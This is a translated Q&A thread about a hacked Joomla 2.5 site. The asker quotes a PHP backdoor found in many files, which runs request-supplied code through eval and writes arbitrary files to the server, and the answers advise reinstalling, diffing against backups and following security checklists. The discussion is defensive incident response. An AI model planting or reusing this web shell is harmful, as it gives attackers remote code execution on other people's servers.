Joomla 2.5 的黑客攻击答案

【问题标题】：Hacking of Joomla 2.5Joomla 2.5 的黑客攻击
【发布时间】：2013-10-31 02:02:27
【问题描述】：

我有一个客户的 Joomla 网站被黑了，我不确定它是怎么发生的，但是我可以看到有很多脚本在搜索包含单词 eval( 我找到了 61 个类似以下文件的匹配项：

<?php

    $lbdw = "495c05e857e328e1e65ca6b0bc03dc88";
if (isset($_REQUEST['tlhqdsj'])) {
    $mglvq = $_REQUEST['tlhqdsj'];
    eval($mglvq);
    exit();
}
if (isset($_REQUEST['ofva'])) {
    $ulmajcbk = $_REQUEST['tbun'];
    $cdpumv = $_REQUEST['ofva'];
    $tgcjl = fopen($cdpumv, 'w');
    $ogrmbcz = fwrite($tgcjl, $ulmajcbk);
    fclose($tgcjl);
    echo $ogrmbcz;
    exit();
}

?>

我不想删除整个网站，因为我没有开发它，我只需要一个安全检查表和一种搜索其他已知漏洞的方法。

我应该在安装此 Joomla 网站的服务器上采取哪些其他预防措施？

知道他们是如何将这么多文件上传到服务器的吗？

【问题讨论】：

标签： joomla joomla2.5

【解决方案1】：

这是一个僵尸网络 PHP 文件，很可能通过 Joomla 中的漏洞传播（例如，在 8 月中旬披露了一个）。它允许远程用户执行任意 PHP 代码并将文件上传到您的服务器。请参阅Joomla security page 了解更多信息。

我最强烈的建议是擦除整个服务器——或者至少是客户用户可以访问的任何东西——然后重新开始。你永远不知道攻击者上传了什么，你可以永远不要完全确定没有更多的后门存在。

如果这不可行，我建议清除 Joomla 安装并使用 Joomla 2.5.14 或 3.1.5 的新副本重新安装。

如果你连那个都做不到，那么你可以尝试就地升级Joomla，搜索受感染的PHP文件，然后删除它们。但是，您面临着丢失文件并仍然易受攻击的巨大风险。

【讨论】：

假设您有一些备份，也许可以尝试比较当前网站和较旧的干净版本之间的文件，以突出显示更改并找到受损文件。 Akeeba SiteDiff 是免费的，让这项任务变得非常简单：akeebabackup.com/products/akeeba-sitediff.html

【解决方案2】：

在上面的答案中添加更多内容，我希望您在下面阅读。

Security Checklist/You have been hacked or defaced

Joomla hacked. How to prevent?

Joomla Security

Vulnerable Extensions List

【讨论】：